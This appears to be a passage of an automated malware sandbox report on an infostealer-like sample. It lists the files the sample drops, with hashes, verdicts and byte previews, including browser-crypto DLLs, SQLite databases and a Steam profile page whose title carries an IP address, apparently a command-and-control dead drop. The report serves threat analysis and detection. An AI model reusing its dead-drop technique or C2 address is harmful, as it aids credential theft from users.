SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGCAAFBFB.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	385064
Entropy (8bit):	7.988110023083548
Encrypted:	false
SSDEEP:	6144:CQuuGQX/FN5CVU03+wwybsDV3Sdmq2r5tmsz2ViLEO:vui9N5iQ5p3Sd0TmsTEO
MD5:	16F5B27C9E1376C17B03BF8C5090DB3C
SHA1:	676145AB7CA93E0463B931E6A056804B8F42119E
SHA-256:	7952E7769A991C349CC092B9CB3D1505405E793B526F49C784C343DD7D3CD227
SHA-512:	23FE6E23E80257469C09BA68B2C78EE6B3C03700E8173EFF4E2CA94964AD3AB8F2B0CB20DD01E483BF6B7D8DE1138BC946CEBBA6BEC10D78E7CCEC6DC0C3CB5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................>.... ........@.. ....................... ............`.....................................S.......................(&........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H...........0............................................................M.b.K..K.9~h.w....G).2..X..u.........&...W...`.r..I.z-@..W....y...x..e...g.O....f.&..~.vV.\...yM<..V&..z..B.).....y..-....g.*E..!T9.z...M..."...A...#..V..kj#.2....)........:r...-9\..hK<....f3u.xX....T.....+Q:.......T....X.i.v7.....Q.9vq. .M.r0..}k.t5J!..1.e..U..;....;..z.9_Y.T3?k%..L.6M....;.P.5W.'0....V.T,9wl..y....]....sj:y..k.4.$.".o.9.V+.@Re3Y..(...:.K.O#..L..X%.u..`&.1&..X{.

C:\ProgramData\JEGDGIIJJECFIDHJJKKFCAECFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userHJEBGHIEBF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	385064
Entropy (8bit):	7.988110023083548
Encrypted:	false
SSDEEP:	6144:CQuuGQX/FN5CVU03+wwybsDV3Sdmq2r5tmsz2ViLEO:vui9N5iQ5p3Sd0TmsTEO
MD5:	16F5B27C9E1376C17B03BF8C5090DB3C
SHA1:	676145AB7CA93E0463B931E6A056804B8F42119E
SHA-256:	7952E7769A991C349CC092B9CB3D1505405E793B526F49C784C343DD7D3CD227
SHA-512:	23FE6E23E80257469C09BA68B2C78EE6B3C03700E8173EFF4E2CA94964AD3AB8F2B0CB20DD01E483BF6B7D8DE1138BC946CEBBA6BEC10D78E7CCEC6DC0C3CB5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................>.... ........@.. ....................... ............`.....................................S.......................(&........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H...........0............................................................M.b.K..K.9~h.w....G).2..X..u.........&...W...`.r..I.z-@..W....y...x..e...g.O....f.&..~.vV.\...yM<..V&..z..B.).....y..-....g.*E..!T9.z...M..."...A...#..V..kj#.2....)........:r...-9\..hK<....f3u.xX....T.....+Q:.......T....X.i.v7.....Q.9vq. .M.r0..}k.t5J!..1.e..U..;....;..z.9_Y.T3?k%..L.6M....;.P.5W.'0....V.T,9wl..y....]....sj:y..k.4.$.".o.9.V+.@Re3Y..(...:.K.O#..L..X%.u..`&.1&..X{.

C:\Users\userKECGDBFCBK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	413224
Entropy (8bit):	7.988867781346718
Encrypted:	false
SSDEEP:	6144:O+0dGgr04h1LBuTmcYz43wUDPNvms5PYYzX3oYbEU6DsV4+1/QSyiZEO:30d/h1LBK13wUjx5QYTo0EUBVSS/EO
MD5:	2CCE29D734EA1D227B338834698E2DE4
SHA1:	41700CD1BCF5F5BCCA81CE722ED47FC17BD030C2
SHA-256:	F75ACF936390F89239C43552717EFB65C4C3190B16A7EEC62DCD0053A045E91D
SHA-512:	EA0B440113A225764B38AE2526A10F7E4F3081E4A353E9831CF0E846AC7BA97EA7C2B4A12AB6FAC5708A7855DA8967F1B6BC661757DC68D819D11887A6AF20B5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................><... ...@....@.. ....................................`..................................;..S....@...............(..(&...`.......:............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................ <......H..........0............................................................R....^.G.Y..60...7~...r..f.b.xg]..s.j.{0..M....6.....{..[..@U....Nq!...+.. ....J.......2....5....QL".l....V......M@........_....)K...P.../p.wg..........7:?.C..f ....Sc...... x.n];.w1..e.$:z.d.>!.t..q....Vg.3c.h.hlWt..5...br...H.XD6...uW11v9I.\|...xJnLx......w>..>s...^.'.s2J....Y......U......-.E#).:....~...2]8...SU..f8zd.i..ns>..fx...:.U..&B....`.g...Z.L.#........03z..>..^...t.K.Y.[q

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AFBFHDBKJE.exe.log

Download File

Process:	C:\ProgramData\AFBFHDBKJE.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HDGCAAFBFB.exe.log

Download File

Process:	C:\ProgramData\HDGCAAFBFB.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userHJEBGHIEBF.exe.log

Download File

Process:	C:\Users\userHJEBGHIEBF.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userKECGDBFCBK.exe.log

Download File

Process:	C:\Users\userKECGDBFCBK.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34725
Entropy (8bit):	5.39868427557603
Encrypted:	false
SSDEEP:	768:udpqme0Ih3tAA6WGA2fcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2Sy:ud8me0Ih3tAA6WGA2FhTBv++nIjBtPFT
MD5:	6BE68AF372F46F173F4206C8060C3856
SHA1:	CF27418434AE650D4D6C08E4FA6C1E16F67C546B
SHA-256:	276C83B022E960FB0FFF6AA82DA4C13C66964A17F4B007A0D9E9B3247F4AD7CC
SHA-512:	F94EA7706E4C61490B2D8DA3AAC8032699D4AE6F28F83D2B501BD113135F77B09226432E0BEBA3551348A7B285D71CDF8D927B830E288F91E953F94B0AFD136E
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://5.75.211.162\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\ljhgfsd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	385064
Entropy (8bit):	7.988110023083548
Encrypted:	false
SSDEEP:	6144:CQuuGQX/FN5CVU03+wwybsDV3Sdmq2r5tmsz2ViLEO:vui9N5iQ5p3Sd0TmsTEO
MD5:	16F5B27C9E1376C17B03BF8C5090DB3C
SHA1:	676145AB7CA93E0463B931E6A056804B8F42119E
SHA-256:	7952E7769A991C349CC092B9CB3D1505405E793B526F49C784C343DD7D3CD227
SHA-512:	23FE6E23E80257469C09BA68B2C78EE6B3C03700E8173EFF4E2CA94964AD3AB8F2B0CB20DD01E483BF6B7D8DE1138BC946CEBBA6BEC10D78E7CCEC6DC0C3CB5E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................>.... ........@.. ....................... ............`.....................................S.......................(&........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H...........0............................................................M.b.K..K.9~h.w....G).2..X..u.........&...W...`.r..I.z-@..W....y...x..e...g.O....f.&..~.vV.\...yM<..V&..z..B.).....y..-....g.*E..!T9.z...M..."...A...#..V..kj#.2....)........:r...-9\..hK<....f3u.xX....T.....+Q:.......T....X.i.v7.....Q.9vq. .M.r0..}k.t5J!..1.e..U..;....;..z.9_Y.T3?k%..L.6M....;.P.5W.'0....V.T,9wl..y....]....sj:y..k.4.$.".o.9.V+.@Re3Y..(...:.K.O#..L..X%.u..`&.1&..X{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vdshfd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	413224
Entropy (8bit):	7.988867781346718
Encrypted:	false
SSDEEP:	6144:O+0dGgr04h1LBuTmcYz43wUDPNvms5PYYzX3oYbEU6DsV4+1/QSyiZEO:30d/h1LBK13wUjx5QYTo0EUBVSS/EO
MD5:	2CCE29D734EA1D227B338834698E2DE4
SHA1:	41700CD1BCF5F5BCCA81CE722ED47FC17BD030C2
SHA-256:	F75ACF936390F89239C43552717EFB65C4C3190B16A7EEC62DCD0053A045E91D
SHA-512:	EA0B440113A225764B38AE2526A10F7E4F3081E4A353E9831CF0E846AC7BA97EA7C2B4A12AB6FAC5708A7855DA8967F1B6BC661757DC68D819D11887A6AF20B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................><... ...@....@.. ....................................`..................................;..S....@...............(..(&...`.......:............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................ <......H..........0............................................................R....^.G.Y..60...7~...r..f.b.xg]..s.j.{0..M....6.....{..[..@U....Nq!...+.. ....J.......2....5....QL".l....V......M@........_....)K...P.../p.wg..........7:?.C..f ....Sc...... x.n];.w1..e.$:z.d.>!.t..q....Vg.3c.h.hlWt..5...br...H.XD6...uW11v9I.\|...xJnLx......w>..>s...^.'.s2J....Y......U......-.E#).:....~...2]8...SU..f8zd.i..ns>..fx...:.U..&B....`.g...Z.L.#........03z..>..^...t.K.Y.[q

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\76561199780418869[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34725
Entropy (8bit):	5.398652102029887
Encrypted:	false
SSDEEP:	768:udpqme0Ih3tAA6WGA2fcDAhTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2Sb:ud8me0Ih3tAA6WGA2FhTBv++nIjBtPFi
MD5:	6B8EC14ED92695C709677EC18AB29EFD
SHA1:	BF72D2AC588FEFC468E28874DBF3612BBE037DB3
SHA-256:	00C4591381000E75DBF92F97691A3ABFDA54BA874D18E08BE37341FAA47D3D10
SHA-512:	644C877AF96EF1D8ACE48B5DA86623B1234E50AB6A01A5BBCD73D852C917F76AEAF6D603C43721B3C73C4CC8C7A5E23FD307DD26044D5E0E03984135C4F204CE
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: u55u https://5.75.211.162\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link href

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
